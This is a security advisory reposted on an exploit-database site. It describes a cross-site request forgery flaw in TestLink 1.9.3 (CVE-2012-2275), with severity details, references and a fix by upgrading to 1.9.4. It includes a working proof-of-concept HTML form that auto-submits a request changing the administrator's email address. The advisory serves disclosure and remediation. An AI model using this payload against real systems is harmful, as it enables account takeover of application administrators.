0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
TestLink 1.9.3 Cross Site Request Forgery Vulnerability
[Product: TestLink
Vendor: teamst.org
Vulnerable Version(s): 1.9.3 and probably prior
Tested Version: 1.9.3
Vendor Notification: April 18, 2012
Public Disclosure: September 5, 2012
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2012-2275
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Risk Level: Medium
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab has discovered vulnerabiliy in TestLink, which can be exploited to perform Сross-Site Request Forgery (CSRF) attacks.
1) Сross-Site Request Forgery (CSRF) in TestLink: CVE-2012-2275
The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to change administrator's email.
An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.
The following PoC will change administrator's email:
<form action="http://[host]/lib/usermanagement/userInfo.php" method="post" name="main" id="main">
<input type="hidden" name="doAction" value="editUser">
<input type="hidden" name="lastName" value="LastName">
<input type="hidden" name="firstName" value="FirstName">
<input type="hidden" name="emailAddress" value="new@mail.com">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
-----------------------------------------------------------------------------------------------
Solution:
Upgrade to TestLink 1.9.4
More Information:
http://gitorious.org/testlink-ga/testlink-code/commit/2d4ac941314f8bda80e265c9de8bacf17d1cd3e6
http://gitorious.org/testlink-ga/testlink-code/commit/c8751a3c9ad8970b49d1bf882203efacd10af087
http://gitorious.org/testlink-ga/testlink-code/commit/252788c2373e73173172ada9af661e0721599891
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23088 - https://www.htbridge.com/advisory/HTB23088 - Сross-Site Request Forgery (CSRF) in TestLink.
[2] TestLink - http://www.teamst.org/ - An OpenSource test management tool which includes test specification, planning, reporting, requirements tracking and collaborate with well-known bug trackers.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
-----------------------------------------------------------------------------------------------
# 0day.today [2024-10-05] #